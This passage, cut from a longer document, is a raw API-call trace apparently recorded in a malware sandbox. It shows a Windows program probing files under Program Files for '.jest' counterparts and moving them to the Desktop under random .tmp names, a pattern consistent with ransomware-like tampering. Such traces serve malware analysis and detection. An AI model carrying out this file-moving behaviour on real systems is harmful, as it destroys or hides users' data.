ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x34533374, cFileName="QqJDOs Vjw7BDn5VcfP5Fhq_6Wc1whMcMgd-0igtqzb_R_ETtOg0CjlsLzZkMHW6d6oPnHXpzDcXPgQbLxE8y7YH4Ubq6sPBI.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0123.521] GetLastError () returned 0x2 [0123.521] GetLastError () returned 0x2 [0123.521] SetLastError (dwErrCode=0x2) [0123.522] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0123.522] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0123.522] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0123.532] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.532] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.532] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.532] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.533] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.533] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.533] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.533] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.533] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.533] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.533] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.534] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.534] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.534] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.534] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.534] GetFullPathNameA (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml", lpFilePart=0x18e870*="Filters.xml") returned 0x2d [0123.553] GetFullPathNameA (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml.jest", lpFilePart=0x18e870*="Filters.xml.jest") returned 0x32 [0123.557] GetFullPathNameA (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml", lpFilePart=0x18e6d8*="Filters.xml") returned 0x2d [0123.557] FindFirstFileA (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9060745b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x9060745b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x4877fc17, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x379f, dwReserved0=0x78, dwReserved1=0x0, cFileName="Filters.xml", cAlternateFileName="")) returned 0x143ce48 [0123.557] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0123.557] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7ec, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0123.557] GetFullPathNameA (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml", lpFilePart=0x18e780*="Filters.xml") returned 0x2d [0123.558] GetFullPathNameA (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml", lpFilePart=0x18e780*="Filters.xml") returned 0x2d [0123.559] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0123.559] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0x235)) [0123.559] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0x235)) [0123.559] GetUserDefaultLCID () returned 0x409 [0123.559] VarBstrFromR4 (in: fltIn=0x479443c8, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75911.56") returned 0x0 [0123.559] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="Y") returned 1 [0123.560] GetFullPathNameA (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml", lpFilePart=0x18e780*="Filters.xml") returned 0x2d [0123.560] GetFullPathNameA (in: lpFileName="xB0id jRtlOB3OF-uNJRsTWzON1C4NyKZbn DxWkJY55Puvogc11o7Fpq2W-dqGH FjKth8XUJfybA8 6BQBPYkg8dswqthPy3HPr.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xB0id jRtlOB3OF-uNJRsTWzON1C4NyKZbn DxWkJY55Puvogc11o7Fpq2W-dqGH FjKth8XUJfybA8 6BQBPYkg8dswqthPy3HPr.tmp", lpFilePart=0x18e708*="xB0id jRtlOB3OF-uNJRsTWzON1C4NyKZbn DxWkJY55Puvogc11o7Fpq2W-dqGH FjKth8XUJfybA8 6BQBPYkg8dswqthPy3HPr.tmp") returned 0x8f [0123.561] GetFullPathNameA (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml", lpFilePart=0x18e708*="Filters.xml") returned 0x2d [0123.561] GetFullPathNameA (in: lpFileName="xB0id jRtlOB3OF-uNJRsTWzON1C4NyKZbn DxWkJY55Puvogc11o7Fpq2W-dqGH FjKth8XUJfybA8 6BQBPYkg8dswqthPy3HPr.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xB0id jRtlOB3OF-uNJRsTWzON1C4NyKZbn DxWkJY55Puvogc11o7Fpq2W-dqGH FjKth8XUJfybA8 6BQBPYkg8dswqthPy3HPr.tmp", lpFilePart=0x18e6e4*="xB0id jRtlOB3OF-uNJRsTWzON1C4NyKZbn DxWkJY55Puvogc11o7Fpq2W-dqGH FjKth8XUJfybA8 6BQBPYkg8dswqthPy3HPr.tmp") returned 0x8f [0123.561] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xB0id jRtlOB3OF-uNJRsTWzON1C4NyKZbn DxWkJY55Puvogc11o7Fpq2W-dqGH FjKth8XUJfybA8 6BQBPYkg8dswqthPy3HPr.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x69304278, cFileName="d jRtlOB3OF-uNJRsTWzON1C4NyKZbn DxWkJY55Puvogc11o7Fpq2W-dqGH FjKth8XUJfybA8 6BQBPYkg8dswqthPy3HPr.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0123.561] GetLastError () returned 0x2 [0123.561] GetLastError () returned 0x2 [0123.561] SetLastError (dwErrCode=0x2) [0123.562] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0123.562] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0123.562] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0123.567] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.567] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.567] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.567] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.567] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.568] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.568] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.568] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.568] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.568] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.570] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.570] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.570] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.570] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.570] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.572] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.572] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.572] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.572] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.572] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.573] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.573] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.573] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.573] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.573] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.579] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.579] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.579] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.580] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.580] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.580] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.580] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.580] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.580] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.580] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.581] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.581] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.581] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.581] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.581] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.582] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml", lpFilePart=0x18e870*="WinFXList.xml") returned 0x52 [0123.598] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml.jest", lpFilePart=0x18e870*="WinFXList.xml.jest") returned 0x57 [0123.601] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml", lpFilePart=0x18e6d8*="WinFXList.xml") returned 0x52 [0123.601] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812df993, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c36dac1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c36dac1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x78, dwReserved1=0x0, cFileName="WinFXList.xml", cAlternateFileName="WINFXL~1.XML")) returned 0x143ce48 [0123.601] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0123.601] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0123.601] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml", lpFilePart=0x18e780*="WinFXList.xml") returned 0x52 [0123.602] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml", lpFilePart=0x18e780*="WinFXList.xml") returned 0x52 [0123.602] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0123.602] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0x263)) [0123.603] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0x263)) [0123.603] GetUserDefaultLCID () returned 0x409 [0123.603] VarBstrFromR4 (in: fltIn=0x479443ce, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75911.61") returned 0x0 [0123.603] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="C") returned 1 [0123.603] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml", lpFilePart=0x18e780*="WinFXList.xml") returned 0x52 [0123.605] GetFullPathNameA (in: lpFileName="qBdd9Uhy87YORvoh6Jj9mAaI7ubG0Bv7T9PlDf7_-W1Fl8iNKUev_VMDQcxYJfwdh0HULc4 jXi0eVH-JTpmxj9H_zFxk_WScrxd.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qBdd9Uhy87YORvoh6Jj9mAaI7ubG0Bv7T9PlDf7_-W1Fl8iNKUev_VMDQcxYJfwdh0HULc4 jXi0eVH-JTpmxj9H_zFxk_WScrxd.tmp", lpFilePart=0x18e708*="qBdd9Uhy87YORvoh6Jj9mAaI7ubG0Bv7T9PlDf7_-W1Fl8iNKUev_VMDQcxYJfwdh0HULc4 jXi0eVH-JTpmxj9H_zFxk_WScrxd.tmp") returned 0x8e [0123.605] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml", lpFilePart=0x18e708*="WinFXList.xml") returned 0x52 [0123.605] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\winfxlist.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qBdd9Uhy87YORvoh6Jj9mAaI7ubG0Bv7T9PlDf7_-W1Fl8iNKUev_VMDQcxYJfwdh0HULc4 jXi0eVH-JTpmxj9H_zFxk_WScrxd.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qbdd9uhy87yorvoh6jj9maai7ubg0bv7t9pldf7_-w1fl8inkuev_vmdqcxyjfwdh0hulc4 jxi0evh-jtpmxj9h_zfxk_wscrxd.tmp")) returned 1 [0123.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="qBdd9Uhy87YORvoh6Jj9mAaI7ubG0Bv7T9PlDf7_-W1Fl8iNKUev_VMDQcxYJfwdh0HULc4 jXi0eVH-JTpmxj9H_zFxk_WScrxd.tmp", cchWideChar=-1, lpMultiByteStr=0x18e6ec, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="qBdd9Uhy87YORvoh6Jj9mAaI7ubG0Bv7T9PlDf7_-W1Fl8iNKUev_VMDQcxYJfwdh0HULc4 jXi0eVH-JTpmxj9H_zFxk_WScrxd.tmp", lpUsedDefaultChar=0x0) returned 105 [0123.609] GetFullPathNameA (in: lpFileName="qBdd9Uhy87YORvoh6Jj9mAaI7ubG0Bv7T9PlDf7_-W1Fl8iNKUev_VMDQcxYJfwdh0HULc4 jXi0eVH-JTpmxj9H_zFxk_WScrxd.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qBdd9Uhy87YORvoh6Jj9mAaI7ubG0Bv7T9PlDf7_-W1Fl8iNKUev_VMDQcxYJfwdh0HULc4 jXi0eVH-JTpmxj9H_zFxk_WScrxd.tmp", lpFilePart=0x18e6e4*="qBdd9Uhy87YORvoh6Jj9mAaI7ubG0Bv7T9PlDf7_-W1Fl8iNKUev_VMDQcxYJfwdh0HULc4 jXi0eVH-JTpmxj9H_zFxk_WScrxd.tmp") returned 0x8e [0123.609] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qBdd9Uhy87YORvoh6Jj9mAaI7ubG0Bv7T9PlDf7_-W1Fl8iNKUev_VMDQcxYJfwdh0HULc4 jXi0eVH-JTpmxj9H_zFxk_WScrxd.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812df993, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c36dac1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8047ff0, ftLastWriteTime.dwHighDateTime=0x1d6080d, nFileSizeHigh=0x0, nFileSizeLow=0xa13, dwReserved0=0x1445ff0, dwReserved1=0x1410000, cFileName="qBdd9Uhy87YORvoh6Jj9mAaI7ubG0Bv7T9PlDf7_-W1Fl8iNKUev_VMDQcxYJfwdh0HULc4 jXi0eVH-JTpmxj9H_zFxk_WScrxd.tmp", cAlternateFileName="QBDD9U~1.TMP")) returned 0x143ce48 [0123.609] FileTimeToLocalFileTime (in: lpFileTime=0x18e6c8, lpLocalFileTime=0x18e698 | out: lpLocalFileTime=0x18e698) returned 1 [0123.609] FileTimeToSystemTime (in: lpFileTime=0x18e698, lpSystemTime=0x18e6a0 | out: lpSystemTime=0x18e6a0) returned 1 [0123.609] FileTimeToLocalFileTime (in: lpFileTime=0x18e6d0, lpLocalFileTime=0x18e698 | out: lpLocalFileTime=0x18e698) returned 1 [0123.609] FileTimeToSystemTime (in: lpFileTime=0x18e698, lpSystemTime=0x18e6a0 | out: lpSystemTime=0x18e6a0) returned 1 [0123.609] FileTimeToLocalFileTime (in: lpFileTime=0x18e6d8, lpLocalFileTime=0x18e698 | out: lpLocalFileTime=0x18e698) returned 1 [0123.610] FileTimeToSystemTime (in: lpFileTime=0x18e698, lpSystemTime=0x18e6a0 | out: lpSystemTime=0x18e6a0) returned 1 [0123.612] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.612] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.612] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.613] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.613] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.613] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml", lpFilePart=0x18e870*="WinFXList.xml") returned 0x4c [0123.642] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml.jest", lpFilePart=0x18e870*="WinFXList.xml.jest") returned 0x51 [0123.644] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml", lpFilePart=0x18e6d8*="WinFXList.xml") returned 0x4c [0123.644] FindFirstFileA (in: lpFileName="C:\\Program Files\\Reference 